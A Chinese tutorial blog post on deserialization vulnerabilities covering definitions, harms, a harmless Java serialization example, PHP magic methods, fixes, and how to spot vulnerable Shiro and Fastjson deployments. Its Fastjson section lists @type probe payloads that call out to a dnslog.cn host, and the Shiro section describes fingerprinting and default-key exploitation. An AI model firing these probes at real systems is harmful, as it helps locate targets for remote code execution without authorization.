网络安全筑基篇——反序列化漏洞

news/2024/9/24 23:24:36/

目录

序列化是什么?

反序列化又是什么?

反序列化漏洞的危害

代码样例

常见的魔术方法

修复方式有哪些?

常见的反序列化漏洞

Shiro反序列化漏洞

Fastjson反序列化漏洞


序列化是什么?

将实例化对象转换成字节流的过程

反序列化又是什么?

将字节流转换成实例化对象的过程

反序列化漏洞的危害

反序列化漏洞是一种安全漏洞,其危害主要体现在以下几个方面:

  1. 远程代码执行(Remote Code Execution, RCE): 反序列化漏洞可以被攻击者利用来在目标系统上执行恶意代码。这种代码可以是远程控制命令、窃取敏感数据、修改系统配置等,具有极大的破坏力和危险性。

  2. 拒绝服务攻击(Denial of Service, DoS): 攻击者可能利用反序列化漏洞来导致系统崩溃或服务不可用,例如通过传递恶意序列化数据导致系统资源耗尽或死锁。

  3. 数据篡改和伪造(Data Tampering and Forgery): 攻击者可以利用反序列化漏洞来篡改数据或伪造合法的用户会话,导致系统信任恶意构造的数据或者执行未经授权的操作。

  4. 提升权限(Privilege Escalation): 如果攻击者成功利用反序列化漏洞执行了恶意代码,他们可能会尝试提升其在系统中的权限,获取更高的访问权限,从而进一步危害系统安全

  5. 敏感信息泄露(Information Disclosure): 反序列化漏洞有可能导致敏感信息泄露,例如通过序列化和反序列化操作中的错误处理机制或日志泄露出敏感数据。

总之,反序列化漏洞的危害不仅限于单一的攻击向量,而是可能对系统的安全性和稳定性造成广泛的影响和破坏。因此,开发者在编写和处理序列化和反序列化代码时,务必要格外小心和谨慎,避免因为这类漏洞而给系统带来安全隐患。

代码样例

import java.io.*;// 定义可序列化的Person类
class Person implements Serializable {private String name;private int age;// 构造函数public Person(String name, int age) {this.name = name;this.age = age;}// 获取姓名public String getName() {return name;}// 获取年龄public int getAge() {return age;}
}public class SerializationExample {// 序列化对象到文件public static void serializeObject(Person obj, String filename) throws IOException {try (FileOutputStream fos = new FileOutputStream(filename);ObjectOutputStream oos = new ObjectOutputStream(fos)) {oos.writeObject(obj);System.out.println("Serialization successful. Object saved to " + filename);}}// 反序列化对象从文件public static Person deserializeObject(String filename) throws IOException, ClassNotFoundException {try (FileInputStream fis = new FileInputStream(filename);ObjectInputStream ois = new ObjectInputStream(fis)) {Person obj = (Person) ois.readObject();System.out.println("Deserialization successful. Object loaded from " + filename);return obj;}}public static void main(String[] args) {String filename = "person.ser"; // 序列化文件名// 创建一个Person对象Person person = new Person("Alice", 30);try {// 序列化对象到文件serializeObject(person, filename);// 从文件反序列化对象Person loadedPerson = deserializeObject(filename);// 打印反序列化后的对象属性System.out.println("Name: " + loadedPerson.getName() + ", Age: " + loadedPerson.getAge());} catch (IOException | ClassNotFoundException e) {e.printStackTrace();}}
}

常见的魔术方法

__sleep()	 	//使用serialize()时触发 
__destruct() 	//对象被销毁时触发,在脚本终止或对象引用计数为0时调用,通常会执行数据清除就或连接断开操作 
__call() 		//在对象上下文中调用不可访问的方法时触发 ,通常用于错误处理,防止脚本因为调用错误而终止执行
__callStatic() 	//在静态上下文中调用不可访问的方法时触发 
__get() 		//用于从不可访问的属性读取数据,通常用于设置和获取对象私有属性
__set() 		//用于将数据写入不可访问的属性,通常用于设置和获取对象私有属性
__isset() 		//在不可访问的属性上调用isset()或empty()触发 
__unset() 		//在不可访问的属性上使用unset()时触发 
__invoke() 		//当脚本尝试将对象调用为函数时触发
__clone()       //当把一个对象赋给另一个对象时自动调用
__wakeup()		//unserialize函数会检查是否存在wakeup方法,如果存在则先调用wakeup方法,做一些必要的初始化连数据库等操作
__construct() 	//PHP5允许在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法
__destruct()	  //PHP5引入析构函数的概念,析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
__toString()	  //用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误

修复方式有哪些?

  • 验证和过滤输入:在执行反序列化之前,对用户输入数据执行验证和过滤。
  • 使用安全的序列化方法:避免使用 PHP 的不安全序列化方法(例如,unserialize()),而是使用更安全的替代方法,如 JSON 或XML 序列化/反序列化。
  • 序列化和反序列化的白名单验证:限制反序列化操作的类范围,可创建一个白名单,只允许指定的类A执行反序列化,或者创建一个黑名单,禁止一些危险的类执行反序列化。以限制攻击方能够执行的恶意代码。

常见的反序列化漏洞

Shiro反序列化漏洞

Shiro < 1.2.4版本会存在此漏洞,挖掘的时候删除请求包中的rememberMe参数,返回包中包含rememberMe=deleteMe字段。说明使用了shiro组件,可以尝试此漏洞。

如果返回包无此字段,可以通过在发送数据包的cookie中增加字段:****rememberMe=,然后查看返回数据包中是否存在关键字

此漏洞有两个版本利用方式,

Shiro550:不需要提供秘钥,使用默认秘钥就可以利用

Shiro721:先爆破秘钥,成功后可以进一步利用

Fastjson反序列化漏洞

Fastjson提供了反序列化功能,允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名,由此造成反序列化漏洞

漏洞挖掘方式:如果请求包中出现http头Accept:application/json,怀疑存在fastjson组件,构造报错,返回包中出现fastjson时,确认使用了fastjson组件,可以尝试此漏洞

Fastjson从1.2.24到1.2.67多个版本存在此漏洞,如果没有回显版本,可以将以下payload,挨个替换到请求内容,尝试是哪个版本的漏洞

  • {"@type":"java.net.InetSocketAddress"{"address":,"val":"aaa.dnslog.cn"}}
  • {"@type":"java.net.Inet4Address","val":"aaa.dnslog.cn"}
  • {"@type":"java.net.Inet6Address","val":"aaa.dnslog.cn"}
  • {"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL", "val":"http://aaa.dnslog.cn"}}""}
  • Set[{"@type":"java.net.URL","val":"http://aaa.dnslog.cn"}]
  • Set[{"@type":"java.net.URL","val":"http://aaa.dnslog.cn"}
  • {{"@type":"java.net.URL","val":"http://aaa.dnslog.cn"}:

http://www.ppmy.cn/news/1474096.html

相关文章

Pinia在vue项目中的使用

Pinia是Vue 3官方推荐的状态管理模式&#xff0c;由尤雨溪创建并集成到了 Vue.js 中&#xff0c;它是一个轻量级、纯粹基于函数的思想实现的应用状态管理库。Pinia的设计理念类似于Redux&#xff0c;但它更简单易用&#xff0c;更适合于小型到中型的单文件组件应用。 在Vue 3项…

数据库(表)

要求如下&#xff1a; 一&#xff1a;数据库 1&#xff0c;登录数据库 mysql -uroot -p123123 2&#xff0c;创建数据库zoo create database zoo; Query OK, 1 row affected (0.01 sec) 3&#xff0c;修改字符集 mysql> use zoo;---先进入数据库zoo Database changed …

设计模式7-装饰模式

设计模式7-装饰模式 写在前面动机模式定义结构代码推导原始代码解决问题分析 选择装饰模式的理由1. 职责分离&#xff08;Single Responsibility Principle&#xff09;2. 动态扩展功能3. 避免类爆炸4. 开闭原则&#xff08;Open/Closed Principle&#xff09;5. 更好的组合复用…

Linux多进程和多线程(五)进程间通信-消息队列

多进程(五) 进程间通信 消息队列 ftok()函数创建消息队列 创建消息队列示例 msgctl 函数示例:在上⼀个示例的基础上&#xff0c;加上删除队列的代码 发送消息 示例: 接收消息示例 多进程(五) 进程间通信 消息队列 消息队列是一种进程间通信机制&#xff0c;它允许两个或多个…

6、Redis系统-数据结构-05-整数

五、整数集合&#xff08;Intset&#xff09; 整数集合是 Redis 中 Set 对象的底层实现之一。当一个 Set 对象只包含整数值元素&#xff0c;并且元素数量不大时&#xff0c;就会使用整数集合这个数据结构作为底层实现。整数集合通过紧凑的内存布局和升级机制&#xff0c;实现了…

Linux Vim基础教程

Linux Vim 简单教程&#xff1a; 一、安装与启动 Vim 首先&#xff0c;确保你的 Linux 系统已经安装了 Vim。在大多数 Linux 发行版中&#xff0c;你可以通过包管理器来安装 Vim。以下是在不同发行版中安装 Vim 的命令&#xff1a; Ubuntu/Debian: sudo apt-get install vimF…

C# Winform PropertyGrid显示中文

主要原理是在枚举上添加DescriptionAttribute属性&#xff0c;然后通过反射将其显示出来 方法1&#xff1a;继承StringConverter类 public class EnumConvertor : StringConverter {public override bool GetStandardValuesSupported(ITypeDescriptorContext context){return…

Android SurfaceFlinger——创建EGLSurface(二十三)

我们知道 EGL 就是适配 Android 本地窗口系统和 OpenGL ES 的桥接层,OpenGL ES 定义了平台无关的 GL 绘图指令,EGL 则定义了控制 Displays、Contexts 以及 Surfaces 的统一的平台接口。前面我们已经介绍了 Surface 的相关内容,而对于 EGL 来说同样存在一个与之对应的 Surfac…